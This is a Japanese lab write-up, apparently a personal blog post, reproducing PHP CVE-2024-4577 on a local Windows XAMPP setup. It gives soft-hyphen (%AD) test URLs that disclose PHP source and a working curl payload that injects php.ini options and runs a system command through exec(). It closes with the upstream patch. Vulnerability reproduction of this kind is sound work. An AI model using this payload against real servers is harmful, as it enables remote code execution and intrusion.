はじめに
最近セキュリティ関連の事例に触れる機会があり、PHPの脆弱性(CVE-2024-4577)の再現に取り組みましたので紹介します。
現業はNW機器関連の仕事がメインでしたので、アプリ等は初心者です。
もし同じような立場で取り組む方がいらっしゃれば少し参考なるのではないかと思い書かせてもらいました。
脆弱性と影響
PHPの特定のバージョンでは、WindowsでApacheおよびPHP-CGIを使用する際に、システムが特定のコードページを使用するように設定されていると、WindowsはWin32API関数に渡されるコマンドラインの文字を「Best-Fit」機能で置き換えることがあります。
PHP CGI モードではこれらの文字をPHPオプションと誤認する可能性があり、悪意のあるユーザーが実行中のPHP バイナリにオプションを渡して、スクリプトのソース コードを公開したり、サーバー上で任意の PHP コードを実行したりする可能性があります。
脆弱性の要件
・Windows 日本語版/中国語版
マルチバイト文字コードのBest-Fit機能に関連するため
・PHP
PHP 8.1.29より前の8.1系
PHP 8.2.20より前の8.2系
PHP 8.3.8より前の8.3系
※XAMPPでは最新版でも脆弱性有版のPHPを含んでいます。
※PHPでWebアプリケーションモードが“PHP-CGI”である場合に脆弱性が発生します。
最新のXAMPPではデフォルトは“PHP-CGI”ではなかったのでそのままでは脆弱性は発生しませんでした。
原因
今回の脆弱性(CVE-2024-4577)は、古い脆弱性(CVE-2012-1823)の改修を回避するもで、特定のクエリ文字列はPHP-CGIの引数として指定される仕様を悪用したものになります。
WindowsのBest-Fit マッピングの機能によって脆弱性(CVE-2012-1823)への改修(「ハイフン」の無効化)が回避される事によるものです。
Best-Fit はWin32 API に渡されるコマンドライン文字列を変換することがあり、例えば「- (ソフトハイフン)」(0xAD)は「- (ハイフン)」(0x2D)と解釈されます。これにより攻撃者から送られた「ソフトハイフン」はエスケープされずにCGI ハンドラからPHP に渡される一方でPHPは「ハイフン」(0x2D)と解釈し実行してしまいます。
検証内容
脆弱性有のPHPを含むXAMMP環境を構築し、ソフトハイフンでPHPのオプションを有効にしたURLを受信させることで、WebサーバのWindowsシステムコマンドが実行される事を確認します。
環境構築
- Windows11 64bit日本語版
- XAMPP 8.2.12
・Apache 2.4.58
・MariaDB 10.4.32
・PHP 8.2.12 - phpの動作をモジュール版からCGI版に切り替え
参考:Windows版XAMPPでphpの動作をモジュール版からCGI版に切り替える方法
検証作業
(1)phpのソースコードを表示させる-sオプションをいくつかの方法で試しました。
検証用phpファイルとして「helloworld.php」を用意しました
<?php
echo "Hello World!";
?>
① -sオプション無し(通常のURLで想定通りの結果です)
http://localhost/helloworld.php
>>Web表示 Hello World!
② -sオプションあり:通常の「-」はエスケープされるため①と同じ結果になりました。
http://localhost/helloworld.php?-s
>>Web表示 Hello World!
③ -sオプションあり:「-」を%2Dにエンコードして実行。通常の「-」としてエスケープ処理されるためやはり①と同じ結果になりました。
http://localhost/helloworld.php?%2Ds
>>Web表示 Hello World!
④ -sオプションあり:「-」を%AD(ソフトハイフン)に差替えると、「-」が有効となり「-s」オプションによりPHPソースコードのまま表示されました【脆弱性確認】。
http://localhost/helloworld.php?%ADs
>>Web表示 <?php echo "Hello World!";?>
(2)phpの「-」オプションを使いWebサーバでシステムコマンドが実行される事を検証しました。
コマンド:type nul > c:\work\sample.txt
c:\workフォルダにsample.txtファイルを生成します。
①使用するPHPオプション
・-dをつかってphp.iniの設定を変更することができます。
・php.ini のallow_url_includeパラメータをONにするとURLで指定したファイルインクルード等許可されます。
・auto_prepend_fileをONにするとスクリプトが起動される前に実行するスクリプトファイルを指定することができます。
その結果 php://inputの指定するデータを読み込むことができます。
②試験用データ
curl.exe -X POST http://127.0.0.1/index.php?%ADd+allow_url_include%3DOn+%ADd+auto_prepend_file%3Dphp://input -d “<?php echo exec(‘type nul > c:\work\sample.txt’) ?>“
※ オリジナルは
curl.exe -X POST http://127.0.0.1/index.php?-d+allow_url_include=On+-d+auto_prepend_file=php://input -d “<?php echo exec(‘type nul > c:\work\sample.txt’) ?>“
※-d “ c:\work\sample.txt’) ?>“ の-dはcurlのオプションでPOSTするデータを指定します。
※Windowsのcurlコマンドで少し悩みました。
参考:PowerShell コンソール内で curl や wget が実行できない
③結果
c:\workフォルダに空のsample.txtファイルが生成され、脆弱性を確認できました。
PHP8.2.20 ソースコードの改修内容
8.2.19版との差分箇所です。
php-8.2.20-src\php-8.2.20-src\sapi\cgi\cgi_main.c
/* On Windows we have to take into account the "best fit" mapping behaviour. */
#ifdef PHP_WIN32
if (*p >= 0x80) {
wchar_t wide_buf[1];
wide_buf[0] = *p;
char char_buf[4];
size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]);
size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]);
if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
|| char_buf[0] == '-') {
skip_getopt = 1;
}
}
#endif
</span>
・WideCharToMultiByte関数は、Unicode(UTF-16)などのワイド文字列から、ShiftJISなどのマルチバイト文字列に変換。
・差分箇所の内容を推測するに
*pにはurlコマンドが入っており、文字コードが(*p >= 0x80)つまり制御文字コードの範囲にある場合について、対応するマルチバイト文字に変換できなかった場合及び先頭文字が‘-’の場合は引数処理をSKIP処理することでPHPのハイフンオプションを無効にして対処していると考えられます。